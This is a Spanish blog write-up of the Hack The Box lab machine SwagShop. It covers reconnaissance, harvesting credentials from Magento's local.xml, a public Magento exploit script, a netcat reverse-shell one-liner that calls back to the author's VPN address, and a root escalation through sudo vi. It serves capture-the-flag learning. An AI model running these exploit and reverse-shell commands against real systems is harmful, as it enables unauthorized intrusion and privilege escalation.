F1r0x
Blog sobre informática Y ciberseguridad.
GitHub
host-1

SwagShop

En primer lugar, nos creamos un directorio con el nombre de la máquina desde el que trabajaremos:

sudo mkdir SwagShop

Ahora, mediante la función mkt que tengo previamente definida en la .zshrc crearemos nuestros directorios de trabajo:

sudo mkt

Esta función está definida para crearnos cuatro directorios (nmap, content, exploits y scripts) desde los cuales poder trabajar a la hora de realizar las máquinas de HTB.

Captura de pantalla -2022-05-05 08-41-27

PING

Ejecutamos un ping y vemos como nos reporta un ttl=63, por tanto, ya sabemos que estamos frente una máquina Linux.

ping -c 1 10.10.10.140

Captura de pantalla -2022-05-04 21-37-17

Ahora vamos a ver mediante whatweb que más podemos ver:

whatweb 10.10.10.140

Captura de pantalla -2022-05-05 02-39-19

Vemos que es un sistema Linux Apache 2.4.18 en el cual corre un servicio http el cual está basado en Magento.

¿Qué es Magento?

Es una plataforma de comercio en línea, de código abierto (open source) y escrita en PHP, con la que puedes llevar a cabo todo tipo de proyectos relacionados con la creación de páginas web de venta en Internet.

Es una herramienta para el diseño y desarrollo de tu tienda online, permitiéndote una gestión avanzada de distintas áreas, incluyendo el marketing y el posicionamiento web.

NMAP

Ahora mediante nmap realizaremos un escaneo de puertos:

nmap -p- --open -sS --min-rate 5800 -vvv -n -Pn 10.10.10.140 -oG allPorts2

Captura de pantalla -2022-05-04 21-47-39

Vemos como nos reporta el puerto 80 y el puerto 20.

Captura de pantalla -2022-05-04 21-48-00

Intentamos ver el dominio http://10.10.10.140/ y vemos como nos redirige hasta swagshop.htb, pero no nos permite ver la página. Para ello vamos a registrar el dominio en nuestra carpeta /etc/hosts e introducimos la Ip de la máquina víctima y el host swagshop.htb:

Captura de pantalla -2022-05-05 00-29-52

Captura de pantalla -2022-05-05 00-31-02

Captura de pantalla -2022-05-04 21-51-26

sudo nano /etc/hosts

Captura de pantalla -2022-05-05 00-33-07

Captura de pantalla -2022-05-05 00-34-01

Ahora volvemos a nuestro buscador y vemos como ya nos muestra la página.

Captura de pantalla -2022-05-05 00-34-40

Pasamos a revisar la página. Como podemos ver la página es bastante funcional, se trata de una página de venta de productos de HTB, contiene varios enlaces y podemos ver como nos permite comprar y tratar de registrarnos.

Gobuster

En primer lugar, usando la herramienta gobuster vamos a tratar de realizar un escaneo genera en busca de alguna ruta que no se nos muestre en la página.

En caso de no tener la herramienta la instalamos:

sudo apt install gobuster

Para ello especificaremos el dominio de la víctima y el diccionario de rutas que vamos a utilizar. En este caso vamos a utilizar un diccionario llamado directory-list-2.3-medium.txt el cual es parte del repositorio seclists

Para descargar el repositorio:

sudo apt install seclists

Ya tenemos gobuster y el repositorio seclists, ahora procederemos con el escaneo:

gobuster dir -u http://10.10.10.140 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

dir : Se usa para especificar la opción de directorios.

-u : Se emplea para especificar una url.

-w : Especifica el diccionario que vamos a usar.

Captura de pantalla -2022-05-05 00-52-50

Podemos ver que nos reporta una serie de directorios. Tras comprobarlos, veo que el directorio app contiene otros directorios.

Captura de pantalla -2022-05-05 00-56-51

Esto podemos confirmarlo volviendo a pasar el gobuster e incluyendo el directorio app en la url.

Captura de pantalla -2022-05-05 01-01-17

Vamos a tratar de acceder al directorio app desde el navegador.

Captura de pantalla -2022-05-04 22-45-46

Tras ir verificando los directorios, encontramos que dentro de etc/ en el archivo local.xml encontramos unas credenciales.

Captura de pantalla -2022-05-05 01-04-03

Captura de pantalla -2022-05-05 01-04-49

Vemos como nos reporta un username como root y una password:

Captura de pantalla -2022-05-05 01-04-59

Guardaremos esta información en caso de que nos sea útil más tarde. Ahora vamos a tratar de generar una reverse shell. Buscando reportes de vulnerabilidades sobre Magento, encuentro en github la siguiente herramienta escrita en python3, la cual nos permite crear una reverse shell en páginas creadas con Magento. Para ello, la herramienta nos registra automáticamente con el nombre y contraseña que le proporcionemos. Por defecto nos define str tanto como usuario como contraseña.

Para descargar la herramienta en nuestro directorio actual:

wget https://raw.githubusercontent.com/epi052/htb-scripts-for-retired-boxes/master/swagshop/magento-oneshot.py

Ahora tenemos que darle permiso de ejecución:

sudo chmod +x magento-oneshot.py

Ya tenemos nuestra herramienta preparada, ahora solo debemos especificar el host de la víctima http://swagshop.htb/index.php y el comando que queramos ejecutar:

python3 magento-oneshot.py --command whoami http://swagshop.htb/index.php

--command : Se usa para especificar un comando. En nuestro caso whoami.

Captura de pantalla -2022-05-05 01-40-05

Vemos como funciona perfectamente y como nos reconoce como www-data.

Desde aquí ya podríamos hacer cositas, reportando distintos comandos, podríamos ir interactuando con el sistema, pero no es práctico. Para poder trabajar bien vamos a tratar de montar una shell más cómoda.

Para ello vamos a ver primero si disponemos de netcat para tratar de establecer una reverse shell:

python3 magento-oneshot.py --command "wich nc" http://swagshop.htb/index.php

Vemos que si disponemos de netcat. Ahora vamos a tratar de establecer una reverse shell. En el siguiente enlace, podréis ver una gran repertorio de herramientas desde las que establecer shells inversas.

Nosotros vamos a utilizar la de Netcat:

https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Captura de pantalla -2022-05-05 01-46-13

Primero preparamos en una terminal aparte, con nuestro comando netcat nc en escucha por el puerto 8080.

nc -lnvp 8080

Captura de pantalla -2022-05-05 09-09-31

Finalmente, especificamos el comando que nos reporta el artículo dentro de nuestro comando anterior, también especificamos nuestra Ip (En este caso es nuestra vpn de HTB) y el puerto desde el que nos pondremos en escucha, 8080.

python3 magento-oneshot.py --command "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.29 8080 >/tmp/f" http://swagshop.htb/index.php

Captura de pantalla -2022-05-05 01-47-38

Ya tenemos nuestro shell. Pero sigue sin ser funcional del todo.

Captura de pantalla -2022-05-05 09-11-59

Para poder obtener una shell completa basada en bash, utilizamos los siguientes comandos:

script /dev/null -c bash

Captura de pantalla -2022-05-05 09-12-36

Ahora pulsamos Cntl + z enviamos el proceso a segundo plano. Y ejecutamos lo siguiente:

Captura de pantalla -2022-05-05 09-12-53

Ejecutamos el siguiente comando:

stty raw -echo; fg

Captura de pantalla -2022-05-05 09-13-31

Y terminamos reseteando la shell:

reset xterm

Captura de pantalla -2022-05-05 09-17-59

Ahora ya tenemos una shell más estable y potente. También podemos cerrar la terminal de escucha por nc, ya que esta shell es independiente y no se nos caerá.

Como vemos la shell nos permite utilizar Cntrl + c sin expulsarnos, pero aún no nos permite utilizar Cntrl + l para limpiar la shell y si utilizamos un nano, vemos como tampoco aprovecha todo el monitor.

Aunque con esta shell ya se podría realizar las tareas restantes perfectamente, voy a mostrar como solucionar estos dos pequeños inconvenientes y así tener la shell al 100% funcional.

Para ello primero solucionaremos el problema del Cntrl + l de la siguiente manera, si realizamos un echo $TERM vemos que tiene el valor dumb y nosotros queremos que igual que nuestra shell, valga xterm:

echo $TERM

Captura de pantalla -2022-05-05 09-38-24

Vemos como nos reporta dump. Para cambiarlo introducimos el siguiente comando:

TERM=xterm

Captura de pantalla -2022-05-05 09-38-46

Ahora ya podremos limpiar la pantalla mediante Cntrl + l. Bien, ya solo falta regular el ancho y la altura de nuestra shell, para ello primero debemos conocer que medidas tiene nuestro monitor para poder ajustarlo, para verlo, abrimos una terminal nueva desde nuestro directorio e introducimos:

stty size

Captura de pantalla -2022-05-05 09-39-53

Copiamos los dos números. Ahora volvemos a la reverse shell y podemos ver mediante el mismo comando que las proporciones son mucho menores. Para ajustarlo realizamos lo siguiente:

stty size

Captura de pantalla -2022-05-05 09-40-18

stty rows 36 columns 133

Captura de pantalla -2022-05-05 09-41-31

Búsqueda de la primera Flag

Una vez tengamos todo ajustado, vamos a por las flags. Para conseguir la primera, simplemente nos dirigimos al directorio raíz /:

cd /

Captura de pantalla -2022-05-05 09-42-37

Y vamos a la carpeta /home/haris donde encontraremos el primer archivo user.txt con la primera flag.

Captura de pantalla -2022-05-05 09-43-43

Búsqueda de la segunda Flag

Escalada de Privilegios.

Ahora nos faltaría autentificarnos como root. Tras comprobar que no funcionan las credenciales previamente recopiladas en la base de datos mysql para conectarnos de forma directa como root, así que vamos a tratar de utilizarlas para conectarnos mediante mysql.

mysql -uroot -p

Captura de pantalla -2022-05-05 02-03-56

Captura de pantalla -2022-05-05 02-04-07

Genial, ahora vemos como la password conseguida anteriormente en la base de datos dentro del archivo local.xml nos permite conectarnos.

Una vez dentro de mysql vamos a ver las bases de datos:

show databases;

Captura de pantalla -2022-05-05 02-07-44

Vemos como existe una base de datos llamada como la máquina swagshop. Intentemos ver sus tablas. Para ello primero ingresamos a ella mediante use:

use swagshop;

Captura de pantalla -2022-05-05 02-08-13

Y ahora visualizamos las tablas:

show tables;

Captura de pantalla -2022-05-05 02-08-48

Vemos como se nos reportan un mentón, pero una de las más interesantes es admin_user. Para ver más información:

describe admin_user;

Captura de pantalla -2022-05-05 10-03-15

Vamos a ver que se nos reporta dentro de username y password:

select username,password from admin_user;

Captura de pantalla -2022-05-05 10-10-11

Vemos como nos reporta dos usuarios, forme que es el usuario que creamos nosotros a través del script de python3 y haris el cual nos indica una password hasheada. Yo he intentado descifrar el hash de varias maneras y no he conseguido extraer la contraseña.

Al no poder encontrar la password decidí buscar vulnerabilidades ya reportadas de nuestro sistema, que nos permita registrarnos como sudo.

Lo primero es saber si tenemos algún tipo de privilegios:

sudo -l

Captura de pantalla -2022-05-05 10-13-02

Vemos como nos permite ejecutar como root sin contraseña los siguientes directorios: /usr/bin/vi y /var/www/html/*.

sudo /usr/bin/vi /var/www/html/*

Captura de pantalla -2022-05-05 10-13-50

Captura de pantalla -2022-05-05 10-14-18

Ahora buscaremos algún binario con el que poder aprovechar estos permisos y registrarnos comoroot. Para poder buscar estas vulnerabilidades por la red debemos conocer el sistema que estamos comprometiendo, para ello, podemos ver las especificaciones del sistema mediante el siguiente comando:

lsb_release -a

Captura de pantalla -2022-05-05 10-39-54

Podemos ver que nos encontramos frente ana distribución Ubuntu Xenial versión 16.04. Tras buscar un poco por internet encuentro el siguiente binario que nos permite aprovechar los permisos anteriores y regístranos como root.

Aquí podéis ver la página donde reportan el binario: https://gtfobins.github.io/gtfobins/vi/

Captura de pantalla -2022-05-05 02-19-31

Para poder introducir el binario y utilizar los permisos que tenemos, debemos realizar lo siguiente:

sudo /usr/bin/vi /var/www/html/* -c ':!/bin/sh' /dev/null

Captura de pantalla -2022-05-05 10-17-27

sudo /usr/bin/vi /var/www/html/* : Directorios donde tenemos los permisos.

-c ':!/bin/sh' /dev/null : Binario para tratar de registranos como root.

Captura de pantalla -2022-05-05 10-18-06

Genial, ya estamos como root. Podemos comprobarlo mediante el comando whoami. Finalmente, para encontrar nuestra flag, nos dirigimos al directorio /root donde encontramos el archivo root.txt con nuestra última flag.

Captura de pantalla -2022-05-05 10-18-19

Captura de pantalla -2022-09-06 03-29-45